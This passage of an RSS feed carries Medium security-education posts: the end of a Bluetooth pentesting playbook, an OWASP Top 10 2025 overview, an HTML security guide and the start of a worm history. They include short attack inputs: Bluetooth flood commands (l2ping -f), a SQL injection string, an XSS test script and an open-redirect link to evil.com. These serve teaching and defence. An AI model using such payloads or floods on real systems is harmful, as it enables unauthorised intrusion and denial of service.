&lt;target&gt;</pre><pre>btscanner</pre><h4><strong>Defense:</strong></h4><ul><li>Patch OS immediately</li><li>Disable Bluetooth when unused</li><li>Network segmentation for IoT</li></ul><h3>9. Bluetooth Fuzzing (Vulnerability Discovery)</h3><p>An attacker attempts to disrupt a device’s normal functionality by transmitting corrupted or non-standard data packets to its Bluetooth radio. By monitoring the device’s response, such as delays, errors, or crashes, the adversary can pinpoint weaknesses in the Bluetooth protocol stack, potentially uncovering exploitable vulnerabilities.</p><blockquote><strong>Category:</strong> Security Misconfiguration / Input Validation Failure</blockquote><p><strong>What happens:</strong><br> Malformed packets trigger:</p><ul><li>Crashes</li><li>Memory corruption</li></ul><h4><strong>Example:</strong></h4><ul><li>Kernel panic via malformed L2CAP packet</li></ul><h4><strong>Tools:</strong></h4><pre>boofuzz (custom Bluetooth harness)</pre><pre>afl++ (with Bluetooth stack instrumentation)</pre><pre>btfuzz</pre><h4><strong>Defense:</strong></h4><ul><li>Harden stack implementations</li><li>Runtime protections (ASLR, DEP)</li><li>Continuous fuzz testing (CI/CD)</li></ul><h3>10. Reflection / Relay Attack</h3><p>A Reflection or Relay Attack occurs when an attacker impersonates a Bluetooth device by reflecting or relaying its authentication data. Instead of seeking undisclosed information, the attacker exploits the reflection mechanism to intercept and authenticate the connection without revealing their own identity, potentially gaining unauthorized access to the device.</p><blockquote><strong>Category:</strong> Authentication Bypass</blockquote><p><strong>What happens:</strong><br> Attacker relays authentication handshake between devices.</p><h4><strong>Example:</strong></h4><ul><li>Unlocking a smart lock by relaying phone signals</li></ul><h4><strong>Tools:</strong></h4><pre>gattacker</pre><pre>btlejack</pre><h4><strong>Defense:</strong></h4><ul><li>Use <strong>mutual authentication</strong></li><li>Distance bounding protocols</li><li>Signal strength anomaly detection</li></ul><h3>11. Bluetooth DDoS (Availability Attack)</h3><p>In ordinary <a href="https://www.forbes.com/sites/kateoflahertyuk/2025/01/22/record-breaking-ddos-cyberattack-reaches-56-tbps-cloudflare-reports/">DDoS attacks</a>, the attacker tries to crash the network or restart the system by overwhelming it with packets. A single attacker can carry out DDoS attacks using multiple systems. Hackers use Bluetooth DDoS attacks on consumer devices primarily to disrupt functionality, drain battery life, exploit vulnerabilities, or serve as a distraction for more complex attacks like data theft or malware injection.</p><blockquote><strong>Category:</strong> Denial of Service (OWASP A06)</blockquote><p><strong>What happens:</strong><br> Flooding:</p><ul><li>L2CAP requests</li><li>Pairing attempts</li></ul><h4><strong>Example:</strong></h4><ul><li>Device battery drain via repeated connection attempts</li></ul><h4><strong>Tools:</strong></h4><pre>l2ping -f &lt;target_mac&gt;</pre><pre>hcitool flood</pre><h4><strong>Defense:</strong></h4><ul><li>Rate limiting at firmware level</li><li>IDS for Bluetooth traffic</li><li>Disable auto-accept connections</li></ul><h3>Protection Tips Against Bluetooth Attacks: Your Ultimate Guide</h3><p>Protecting your devices from Bluetooth attacks is crucial as the risks extend beyond simple data theft. Cybercriminals can exploit Bluetooth vulnerabilities to access sensitive data, control devices remotely, and even facilitate <a href="https://www.slotozilla.com/how-do-deepfakes-work">deepfake attacks</a>. Implementing strong security measures is your best defense.</p><ol><li>Turn off Bluetooth on your devices when it is not actively needed to minimize exposure.</li><li>Regularly update your devices to ensure they have the latest security patches against known vulnerabilities.</li><li>Set your device’s Bluetooth visibility to “Non-discoverable” to prevent unauthorized access.</li><li>Choose devices that support modern Bluetooth standards like Secure Simple Pairing for stronger authentication.</li><li>Only pair devices in private and secure environments to reduce exposure to attackers.</li><li>When pairing devices, select strong, non-default PINs that are difficult to guess.</li><li>Do not accept unexpected or unknown Bluetooth pairing requests, especially in public spaces.</li><li>Regularly review your device’s paired device list and remove any that you do not recognize or no longer use.</li><li>Avoid accepting file transfers or business cards from unknown devices.</li><li>Activate security features in your device settings to only allow connections with trusted devices.</li><li>Use security software on your devices to detect and block Bluetooth-related malware or worms.</li><li>During the pairing process, verify the authentication codes displayed on both devices to ensure they match.</li><li>Choose devices that implement randomized Bluetooth device addresses to protect against tracking and spoofing.</li><li>Watch for unusual behavior on your devices, such as sudden slowdowns or unexpected prompts, which may <a href="https://www.forbes.com/sites/alexvakulov/2025/01/06/how-to-know-if-your-phone-is-hacked-and-how-to-fix-it/">indicate an attack</a>.</li><li>Only install trusted apps from official sources and avoid apps that require excessive Bluetooth permissions.</li><li>Upgrade to the latest Bluetooth version available to benefit from improved security features and patches.</li><li>Restrict access to device settings to prevent unauthorized changes or connections.</li><li>Replace default PINs on devices with unique ones and update them periodically.</li></ol><h3>Final Thoughts :</h3><p>Bluetooth is no longer a “low-risk convenience feature” — it is a <strong>persistent, proximity-based attack surface</strong> with <strong>pre-auth exploitation potential</strong> and <strong>weak default trust models</strong>. Modern threats like BlueBorne and relay attacks demonstrate that compromise no longer requires pairing, user interaction, or even visibility.</p><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8a1f7698d7e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-1-bluetooth-pentesting-playbook-attacks-tools-and-defense-in-depth-by-intelithics-a8a1f7698d7e">Part 1 :Bluetooth Pentesting Playbook: Attacks, Tools, and Defense-in-Depth by Intelithics</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1. OWASP Top 10 2025 Deep Dive: Real-World Exploits, Detection & Defense-in-Depth by…]]></title>
            <link>https://systemweakness.com/part-1-owasp-top-10-2025-deep-dive-real-world-exploits-detection-defense-in-depth-by-440c7fee065d?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/440c7fee065d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[medium]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Fri, 24 Apr 2026 14:01:03 GMT</pubDate>
            <atom:updated>2026-04-28T12:13:14.445Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 1. OWASP Top 10 2025 Deep Dive: Real-World Exploits, Detection &amp; Defense-in-Depth by <a href="https://medium.com/u/1d4bcfe23d96">Intelithics</a></h3><h3>Introduction</h3><p>The <strong>OWASP Top 10 (2025)</strong> represents the most critical security risks facing modern web applications. Unlike previous editions, this update reflects a fundamental shift: from isolated vulnerabilities to <strong>systemic security failures</strong> across architecture, design, and supply chains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QWOG00jrIh4p9rwxTYyIJA.png" /></figure><blockquote><strong>Two major changes define this version:</strong></blockquote><ul><li><strong>Server-Side Request Forgery (SSRF)</strong> is now absorbed into Access Control</li><li>New focus areas include <strong>Software Supply Chain Failures</strong> and <strong>Mishandling of Exceptional Conditions</strong></li></ul><p>This guide goes beyond definitions. It covers <strong>how vulnerabilities actually occur, how attackers exploit them, and how to detect and mitigate them effectively</strong>.</p><blockquote><a href="https://tryhackme.com/room/owasptopten2025one">Try hack me labs for practice all top 10 vulnerability lab 01</a></blockquote><blockquote><a href="https://tryhackme.com/room/owasptopten2025two">Try hack me labs for practice all top 10 vulnerability lab 02</a></blockquote><blockquote><a href="https://tryhackme.com/room/owasptopten2025three">Try hack me labs for practice all top 10 vulnerability lab 03</a></blockquote><h3>A01:2025 — Broken Access Control</h3><h4>Core Weakness</h4><p>Failure to enforce <strong>server-side authorization policies</strong> consistently across all objects and endpoints.</p><h4>Attack Surface :</h4><ul><li>REST / GraphQL APIs</li><li>Object references (user_id, order_id)</li><li>Hidden endpoints (/admin, /internal)</li></ul><h4>Exploitation Techniques</h4><ul><li><strong>IDOR (Insecure Direct Object Reference)</strong></li><li>Horizontal/Vertical privilege escalation</li><li>Forced browsing</li><li>Token privilege abuse (JWT role tampering)</li></ul><h4>Example</h4><pre>GET /api/v1/users/1002<br>Authorization: Bearer &lt;user_token&gt;</pre><h4>Detection Methodology</h4><ul><li>Replace object identifiers → observe authorization gaps</li><li>Compare responses across roles (user vs admin)</li><li>Test all HTTP methods (GET → PUT → DELETE)</li></ul><h4>Tools</h4><ul><li>Burp Suite (Repeater, Autorize)</li><li>ffuf (ID fuzzing)</li></ul><h4>Sensitivity</h4><p><strong>Critical</strong> → Direct data access or full account takeover</p><h4>Root Cause</h4><ul><li>Client-side trust</li><li>Missing centralized authorization layer</li></ul><h4>Mitigation</h4><ul><li>Enforce <strong>deny-by-default</strong></li><li>Centralized policy engine (RBAC/ABAC)</li><li>Object-level authorization checks</li></ul><h3>A02:2025 — Security Misconfiguration</h3><h4>Core Weakness</h4><p>Unsafe default configurations across infrastructure, frameworks, and cloud services.</p><h4>Attack Surface</h4><ul><li>Cloud storage (S3, Blob)</li><li>Debug endpoints (/debug, /phpinfo)</li><li>HTTP headers, TLS configs</li></ul><h4>Exploitation Techniques</h4><ul><li>Default credentials</li><li>Directory listing</li><li>Misconfigured CORS</li><li>Exposed admin panels</li></ul><h4>Detection Methodology</h4><ul><li>Enumerate exposed services and endpoints</li><li>Inspect headers, error messages</li><li>Cloud bucket enumeration</li></ul><h4>Tools</h4><ul><li>Nmap, Nikto, Nuclei</li><li>ScoutSuite (cloud auditing)</li></ul><h4>Sensitivity</h4><p><strong>High</strong> → Often leads to chaining with other vulnerabilities</p><h4>Root Cause</h4><ul><li>Lack of hardening baseline</li><li>Mismanaged IaC (Infrastructure as Code)</li></ul><h4>Mitigation</h4><ul><li>Apply <strong>CIS benchmarks</strong></li><li>Remove unused features</li><li>Harden server + cloud configs</li></ul><h3>A03:2025 — Software Supply Chain Failures</h3><h4>Core Weakness</h4><p>Implicit trust in third-party code without integrity verification.</p><h4>Attack Surface</h4><ul><li>Dependencies (NPM, PyPI)</li><li>CI/CD pipelines</li><li>Package registries</li></ul><h4>Exploitation Techniques</h4><ul><li><strong>Dependency Confusion</strong></li><li>Typosquatting packages</li><li>CI/CD pipeline injection</li></ul><h4>Detection Methodology</h4><ul><li>Identify all dependencies (SBOM)</li><li>Detect version drift / outdated libs</li><li>Verify signatures and checksums</li></ul><h4>Tools</h4><ul><li>Snyk, Dependabot</li><li>OWASP Dependency-Check</li></ul><h4>Sensitivity</h4><p><strong>Critical</strong> → Stealthy, large-scale compromise vector</p><h4>Root Cause</h4><ul><li>Lack of dependency governance</li><li>No integrity validation</li></ul><h4>Mitigation</h4><ul><li>SBOM implementation</li><li>Version pinning</li><li>Private registry enforcement</li></ul><h3>A04:2025 — Cryptographic Failures</h3><h4>Core Weakness</h4><p>Improper protection of sensitive data in transit or at rest.</p><h4>Attack Surface</h4><ul><li>Authentication systems</li><li>API tokens</li><li>Data storage layers</li></ul><h4>Exploitation Techniques</h4><ul><li>Weak hashing (MD5, SHA1)</li><li>TLS downgrade / plaintext traffic</li><li>Key leakage in source code</li></ul><h4>Detection Methodology</h4><ul><li>Analyze TLS configuration</li><li>Review password storage mechanisms</li><li>Search for hardcoded secrets</li></ul><h4>Tools</h4><ul><li>testssl.sh, Wireshark</li><li>Hashcat</li></ul><h4>Sensitivity</h4><p><strong>High → Critical</strong></p><h4>Root Cause</h4><ul><li>Poor crypto implementation</li><li>Improper key lifecycle management</li></ul><h4>Mitigation</h4><ul><li>Use <strong>Argon2 / bcrypt</strong></li><li>Enforce TLS 1.2+</li><li>Secure key vaults</li></ul><h3>A05:2025 — Injection (SQLi, XSS, SSTI)</h3><h4>Core Weakness</h4><p>Untrusted input reaches an interpreter without sanitization.</p><h4>Attack Surface</h4><ul><li>Input fields</li><li>Query parameters</li><li>Template engines</li></ul><h4>Exploitation Techniques</h4><ul><li>SQL Injection</li><li>Cross-Site Scripting (XSS)</li><li>Server-Side Template Injection (SSTI)</li></ul><h4>Example Payloads</h4><pre>&#39; OR 1=1--</pre><pre>&lt;script&gt;alert(document.domain)&lt;/script&gt;</pre><h4>Detection Methodology</h4><ul><li>Input fuzzing (special characters)</li><li>Analyze responses for anomalies</li><li>Static code analysis for unsafe queries</li></ul><h4>Tools</h4><ul><li>SQLMap, XSStrike</li><li>Burp Intruder</li></ul><h4>Sensitivity</h4><p><strong>Critical</strong></p><h4>Root Cause</h4><ul><li>Dynamic query construction</li><li>Lack of input validation / output encoding</li></ul><h4>Mitigation</h4><ul><li>Parameterized queries</li><li>Context-aware output encoding</li><li>Input validation (whitelisting)</li></ul><h3>A06:2025 — Insecure Design</h3><h4>Core Weakness</h4><p>Security flaws at the <strong>architecture level</strong>, not code-level bugs.</p><h4>Attack Surface</h4><ul><li>Business logic workflows</li><li>Payment and OTP systems</li><li>Account recovery flows</li></ul><h4>Exploitation Techniques</h4><ul><li>Logic abuse (price manipulation)</li><li>Race conditions</li><li>Workflow bypass</li></ul><h4>Detection Methodology</h4><ul><li>Threat modeling (STRIDE)</li><li>Abuse-case analysis</li><li>Manual logic testing</li></ul><h4>Tools</h4><ul><li>OWASP Threat Dragon</li></ul><h4>Sensitivity</h4><p><strong>Medium → High</strong></p><h4>Root Cause</h4><ul><li>Missing security requirements</li><li>Lack of threat modeling</li></ul><h4>Mitigation</h4><ul><li>Secure SDLC</li><li>Design-time security validation</li></ul><h3>A07:2025 — Authentication Failures</h3><h4>Core Weakness</h4><p>Weak identity verification or session management.</p><h4>Attack Surface</h4><ul><li>Login endpoints</li><li>Session tokens</li><li>Password reset mechanisms</li></ul><h4>Exploitation Techniques</h4><ul><li>Credential stuffing</li><li>Brute force</li><li>Session fixation</li></ul><h4>Detection Methodology</h4><ul><li>Test rate limits</li><li>Check MFA enforcement</li><li>Analyze session token entropy</li></ul><h4>Tools</h4><ul><li>Hydra, Burp Suite</li></ul><h4>Sensitivity</h4><p><strong>High</strong></p><h4>Root Cause</h4><ul><li>Weak password policies</li><li>Missing MFA</li></ul><h4>Mitigation</h4><ul><li>MFA enforcement</li><li>Rate limiting</li><li>Secure session handling</li></ul><h3>A08:2025 — Software &amp; Data Integrity Failures</h3><h4>Core Weakness</h4><p>Trusting unverified data or code execution paths.</p><h4>Attack Surface</h4><ul><li>Serialized objects</li><li>Update mechanisms</li><li>Plugins/extensions</li></ul><h4>Exploitation Techniques</h4><ul><li>Insecure deserialization</li><li>Update hijacking</li></ul><h4>Detection Methodology</h4><ul><li>Inspect serialized data flows</li><li>Verify integrity validation (signatures)</li></ul><h4>Tools</h4><ul><li>ysoserial</li><li>Burp Suite</li></ul><h4>Sensitivity</h4><p><strong>High</strong></p><h4>Root Cause</h4><ul><li>Lack of integrity checks</li><li>Unsafe object deserialization</li></ul><h4>Mitigation</h4><ul><li>Use signed data</li><li>Avoid native deserialization</li></ul><h3>A09:2025 — Logging &amp; Alerting Failures</h3><h4>Core Weakness</h4><p>Lack of visibility into attacks.</p><h4>Attack Surface</h4><ul><li>Logging pipelines</li><li>SIEM integrations</li></ul><h4>Exploitation Techniques</h4><ul><li>Silent brute-force attacks</li><li>Log tampering</li></ul><h4>Detection Methodology</h4><ul><li>Simulate attacks → observe alerts</li><li>Check audit log completeness</li></ul><h4>Tools</h4><ul><li>ELK Stack, Splunk</li></ul><h4>Sensitivity</h4><p><strong>Medium (Detection failure)</strong></p><h4>Root Cause</h4><ul><li>Poor monitoring design</li></ul><h4>Mitigation</h4><ul><li>Centralized logging</li><li>Real-time alerting</li></ul><h3>A10:2025 — Mishandling of Exceptional Conditions</h3><h4>Core Weakness</h4><p>Application fails insecurely under error conditions.</p><h4>Attack Surface</h4><ul><li>Error handlers</li><li>API responses</li><li>Edge-case inputs</li></ul><h4>Exploitation Techniques</h4><ul><li>Triggering crashes → extract stack traces</li><li>Fail-open authentication bypass</li></ul><h4>Detection Methodology</h4><ul><li>Fuzzing inputs</li><li>Force edge cases (null, large payloads)</li></ul><h4>Tools</h4><ul><li>ffuf, Burp Fuzzer</li></ul><h4>Sensitivity</h4><p><strong>Medium → High</strong></p><h4>Root Cause</h4><ul><li>Improper exception handling</li></ul><h4>Mitigation</h4><ul><li>Fail securely (fail-closed)</li><li>Generic error responses🔐 The Ultimate Guide to OWASP Top 10 (2025 Edition)</li></ul><p>The <strong>OWASP Top 10 (2025)</strong> reflects a shift from <em>individual bugs</em> to <em>systemic failures</em>: access control design, supply chain trust, and failure handling.</p><pre>| Rank | Vulnerability   | Root Cause             | Primary Fix               | Key Tool      |<br>| ---- | --------------- | ---------------------- | ------------------------- | ------------- |<br>| A01  | Access Control  | Missing auth checks    | Centralized authorization | Burp          |<br>| A02  | Misconfig       | Unsafe defaults        | Hardening baseline        | Nuclei        |<br>| A03  | Supply Chain    | Dependency trust       | SBOM + pinning            | Snyk          |<br>| A04  | Crypto          | Weak encryption        | Strong hashing            | testssl       |<br>| A05  | Injection       | Unsafe input handling  | Parameterization          | SQLMap        |<br>| A06  | Insecure Design | Logic flaws            | Threat modeling           | Threat Dragon |<br>| A07  | Auth Failures   | Weak identity controls | MFA + rate limiting       | Hydra         |<br>| A08  | Integrity       | Untrusted data         | Signature validation      | ysoserial     |<br>| A09  | Logging         | No visibility          | SIEM alerts               | ELK           |<br>| A10  | Exceptions      | Fail-open logic        | Secure error handling     | ffuf          |</pre><h3>Final Thoughts</h3><p>The OWASP Top 10 (2025) is no longer just a checklist — it is a reflection of <strong>how modern systems fail under real-world conditions</strong>.</p><p>The most impactful vulnerabilities today are not isolated coding mistakes. They emerge from:</p><ul><li>Broken trust boundaries</li><li>Complex system integrations</li><li>Implicit assumptions in design</li></ul><p>Attackers do not operate within categories. They <strong>chain weaknesses</strong>:</p><ul><li>Misconfiguration + Access Control → Data breach</li><li>Injection + Logging failure → Undetected compromise</li><li>Supply chain + Integrity failure → Full system takeover</li></ul><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=440c7fee065d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/part-1-owasp-top-10-2025-deep-dive-real-world-exploits-detection-defense-in-depth-by-440c7fee065d">Part 1. OWASP Top 10 2025 Deep Dive: Real-World Exploits, Detection &amp; Defense-in-Depth by…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTML Fundamentals: From Structure to Security (Complete Guide + Labs) by Intelithics]]></title>
            <link>https://systemweakness.com/html-fundamentals-from-structure-to-security-complete-guide-labs-by-intelithics-578084399586?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/578084399586</guid>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[html5]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 18:54:36 GMT</pubDate>
            <atom:updated>2026-04-21T16:59:45.695Z</atom:updated>
            <content:encoded><![CDATA[<p>A deep dive into HTML for developers — covering structure, semantics, SEO, and real-world security risks (with hands-on exercises).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/225/1*IhlaBN2CgLBWvlHW2UWMuw.png" /></figure><h3>Table of Contents</h3><ul><li>Introduction to HTML</li><li>HTML Document Structure</li><li>Elements, Tags &amp; Attributes</li><li>Semantic HTML (HTML5)</li><li>Meta Tags &amp; SEO</li><li>Security Risks in HTML (OWASP Mapping)</li><li>Best Practices (Defense-in-Depth)</li><li>Hands-on Code Labs</li></ul><h3>1. What is HTML?</h3><p><strong>HTML (HyperText Markup Language)</strong> is the backbone of the web. It structures content so browsers can render text, images, links, and media.</p><h4>Key Points:</h4><ul><li>Not a programming language</li><li>Uses <strong>tags</strong> to define structure</li><li>Works with CSS (styling) + JS (logic)</li></ul><h3>2. Basic HTML Structure</h3><p>Every webpage follows a standard skeleton:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;title&gt;My First Page&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;h1&gt;Hello World&lt;/h1&gt;<br>&lt;p&gt;This is my first webpage.&lt;/p&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h4>Breakdown</h4><pre>| Tag               | Function        |<br>| ----------------- | --------------- |<br>| `&lt;!DOCTYPE html&gt;` | Defines HTML5   |<br>| `&lt;html&gt;`          | Root container  |<br>| `&lt;head&gt;`          | Metadata        |<br>| `&lt;body&gt;`          | Visible content |</pre><h3>3. Elements, Tags &amp; Attributes</h3><p>Example:</p><pre>&lt;a href=&quot;https://example.com&quot; title=&quot;Visit site&quot;&gt;Click Here&lt;/a&gt;</pre><h4>Components:</h4><ul><li><strong>Tag:</strong> &lt;a&gt;</li><li><strong>Attribute:</strong> href, title</li><li><strong>Content:</strong> “Click Here”</li></ul><h4>Risk:</h4><ul><li>Leads to <strong>Cross-Site Scripting (XSS)</strong></li></ul><h4>Mitigation:</h4><ul><li>Escape output</li><li>Validate input</li><li>Use frameworks with auto-sanitization</li></ul><h3>4. Semantic HTML (HTML5)</h3><p>Modern HTML uses meaningful tags:</p><pre>&lt;header&gt;Header&lt;/header&gt;<br>&lt;nav&gt;Menu&lt;/nav&gt;<br>&lt;section&gt;Main Content&lt;/section&gt;<br>&lt;footer&gt;Footer&lt;/footer&gt;</pre><h4>Benefits:</h4><ul><li>Better SEO ranking</li><li>Improved accessibility</li><li>Cleaner DOM</li></ul><h3>5. Meta Tags &amp; SEO Optimization</h3><pre>&lt;meta name=&quot;description&quot; content=&quot;Learn HTML step by step&quot;&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;</pre><pre>| Tag           | Purpose               |<br>| ------------- | --------------------- |<br>| `description` | Search engine snippet |<br>| `viewport`    | Mobile responsiveness |<br>| `charset`     | Encoding              |</pre><h4>Security Insight: Misconfiguration (OWASP A05)</h4><p>Missing headers = attack surface.</p><p>Add Security Headers:</p><pre>Content-Security-Policy: default-src &#39;self&#39;;<br>X-Frame-Options: DENY<br>X-Content-Type-Options: nosniff</pre><h3>6. Images &amp; Accessibility</h3><pre>&lt;img src=&quot;logo.png&quot; alt=&quot;Company Logo&quot;&gt;</pre><h4>Best Practices:</h4><ul><li>Always include alt</li><li>Compress images</li><li>Avoid large inline base64</li></ul><h4>Offensive Insight</h4><blockquote>Attackers may use:</blockquote><ul><li>Tracking pixels</li><li>Steganography</li><li>Malicious payload embedding</li></ul><h3>7. Links &amp; Navigation</h3><pre>&lt;a href=&quot;https://example.com&quot;&gt;Visit Site&lt;/a&gt;</pre><h4>⚠️ Security Risk: Open Redirect (OWASP A10)</h4><pre>&lt;a href=&quot;/redirect?url=http://evil.com&quot;&gt;</pre><h4>Fix:</h4><ul><li>Validate URLs</li><li>Use allowlists</li></ul><h3>8. Best Practices (Defense-in-Depth)</h3><h4>Secure Coding:</h4><ul><li>Input validation</li><li>Output encoding</li><li>CSP enforcement</li></ul><h4>Performance:</h4><ul><li>Lazy loading</li><li>Minify HTML</li><li>Reduce DOM size</li></ul><h3>9. Attacker Mindset (Offensive View)</h3><p>VectorExploitXSSScript injectionHidden fieldsTamperingFormsData exfiltrationDOMClient-side abuse</p><pre>| Vector        | Exploit           |<br>| ------------- | ----------------- |<br>| XSS           | Script injection  |<br>| Hidden fields | Tampering         |<br>| Forms         | Data exfiltration |<br>| DOM           | Client-side abuse |</pre><h3>Lab 1: Build a Clean HTML Page</h3><h4>Task:</h4><p>Create a basic webpage using semantic tags.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Lab 1&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br><br>&lt;header&gt;<br>    &lt;h1&gt;My Website&lt;/h1&gt;<br>&lt;/header&gt;<br><br>&lt;nav&gt;<br>    &lt;a href=&quot;#&quot;&gt;Home&lt;/a&gt;<br>&lt;/nav&gt;<br><br>&lt;section&gt;<br>    &lt;p&gt;Welcome to my page&lt;/p&gt;<br>&lt;/section&gt;<br><br>&lt;footer&gt;<br>    &lt;p&gt;© 2026&lt;/p&gt;<br>&lt;/footer&gt;<br><br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Final Thoughts :</h3><p>HTML5 is not just a markup upgrade — it’s a <strong>foundation layer for modern web architecture</strong>, and from a security + engineering perspective, it directly impacts how applications behave, scale, and get exploited.</p><ul><li>Strong structure + validation → <strong>secure frontend baseline</strong></li><li>Poor implementation → <strong>XSS, data leaks.</strong></li></ul><h3>White Panther :</h3><p>Follow for More : <a href="https://www.instagram.com/intelithics">Intelithics</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=578084399586" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/html-fundamentals-from-structure-to-security-complete-guide-labs-by-intelithics-578084399586">HTML Fundamentals: From Structure to Security (Complete Guide + Labs) by Intelithics</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Computer Worms — Overview and Analysis by Intelithics]]></title>
            <link>https://systemweakness.com/computer-worms-overview-and-analysis-8fd2f777e112?source=rss-1d4bcfe23d96------2</link>
            <guid isPermaLink="false">https://medium.com/p/8fd2f777e112</guid>
            <category><![CDATA[worms]]></category>
            <category><![CDATA[bots]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[medium]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Intelithics]]></dc:creator>
            <pubDate>Thu, 12 Mar 2026 07:14:58 GMT</pubDate>
            <atom:updated>2026-03-17T09:43:10.542Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction to Computer Worms</h3><p>A <strong>computer worm</strong> is a type of malicious software that is capable of <strong>self-replication and spreading automatically across networks</strong> without requiring user interaction. Unlike traditional viruses, worms do not need to attach themselves to a host program. Instead, they exploit <strong>security vulnerabilities in operating systems, applications, or network services</strong> to propagate from one system to another worm-botnet.</p><p>Worms can spread very quickly across the Internet, infecting thousands or even millions of computers within a short time. Their rapid spread often results in severe damage such as system crashes, network congestion, and unauthorized access to sensitive data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*fpsCJbN2IeUIp7ZLUKYfNw.jpeg" /></figure><h3>2. Impact and Cost of Worm Attacks</h3><p>Worm attacks have caused significant financial and operational damage worldwide. Some well-known examples include:</p><h4><strong>Morris Worm (1988)</strong></h4><ul><li>One of the first major Internet worms.</li><li>Infected around <strong>6,000 computers</strong>, which represented about <strong>10% of the Internet at that time</strong>.</li><li>Estimated cost of recovery and downtime: <strong>about $10 million</strong>.</li><li>worm-botnet</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/194/1*bPIxyCCgPX8E_3egIOyV0A.jpeg" /></figure><h4><strong>Code Red Worm (2001)</strong></h4><ul><li>Exploited a vulnerability in Microsoft IIS web servers.</li><li>Infected <strong>more than 500,000 servers</strong>.</li><li>Caused approximately <strong>$2.6 billion in damages</strong>.</li><li>worm-botnet</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*dL9Shh2H-gReMoYrzWpzZg.jpeg" /></figure><h4><strong>Love Bug Worm (ILOVEYOU)</strong></h4><ul><li>Spread through email attachments.</li><li>Caused damages estimated at <strong>$8.75 billion worldwide</strong>.</li><li>worm-botnet</li></ul><p>These incidents demonstrate how quickly worms can spread and how costly they can be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*ldKiLW0vNqUeMaHksZLl3g.jpeg" /></figure><h3>3. Early Internet Worm — The Morris Worm</h3><p>The <strong>Morris Worm</strong>, released in November 1988, is considered the first widely recognized Internet worm. It targeted <strong>Unix systems running Berkeley UNIX</strong>, specifically <strong>VAX and SUN workstations</strong>.</p><p>Although the worm was not designed to cause direct damage, it replicated excessively and overwhelmed systems and networks. Many administrators were forced to shut down their machines to stop the spread.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*ehII7TKCOlCx2KhxbuP8Dg.jpeg" /></figure><blockquote>Key impacts included:</blockquote><ul><li>Network congestion</li><li>System slowdowns and crashes</li><li>Temporary shutdown of many Internet services</li></ul><h3>4. Examples of Historical Worms</h3><p>Over time, many worms have appeared with different propagation techniques and capabilities. Some notable ones include:</p><p>Worm Year Key Feature Morris 1988 Used multiple vulnerabilities ADM Worm 1998 Random IP scanning Ramen 2001 Exploited multiple Linux vulnerabilities Lion 2001 Stealthy worm using rootkits Code Red 2001First major Windows web-server worm Nimda 2001 Used multiple spreading methods SQL Slammer 2003 Extremely fast propagation</p><p>These worms marked the evolution of network-based malware.</p><h3>5. Rapid Worm Propagation</h3><p>One of the most dangerous characteristics of worms is their <strong>rapid propagation speed</strong>. Some worms have infected a large portion of vulnerable systems within minutes.</p><blockquote>For example:</blockquote><h3>Code Red</h3><ul><li>Exploited a <strong>buffer overflow vulnerability in Microsoft IIS</strong>.</li><li>Sent malicious code through <strong>HTTP requests</strong>.</li><li>Spread by scanning random IP addresses for vulnerable servers.</li><li>worm-botnet</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/328/1*CXyJQuIiL4y-7PIjJcg8vg.png" /></figure><h3>SQL Slammer</h3><ul><li>Exploited a vulnerability in 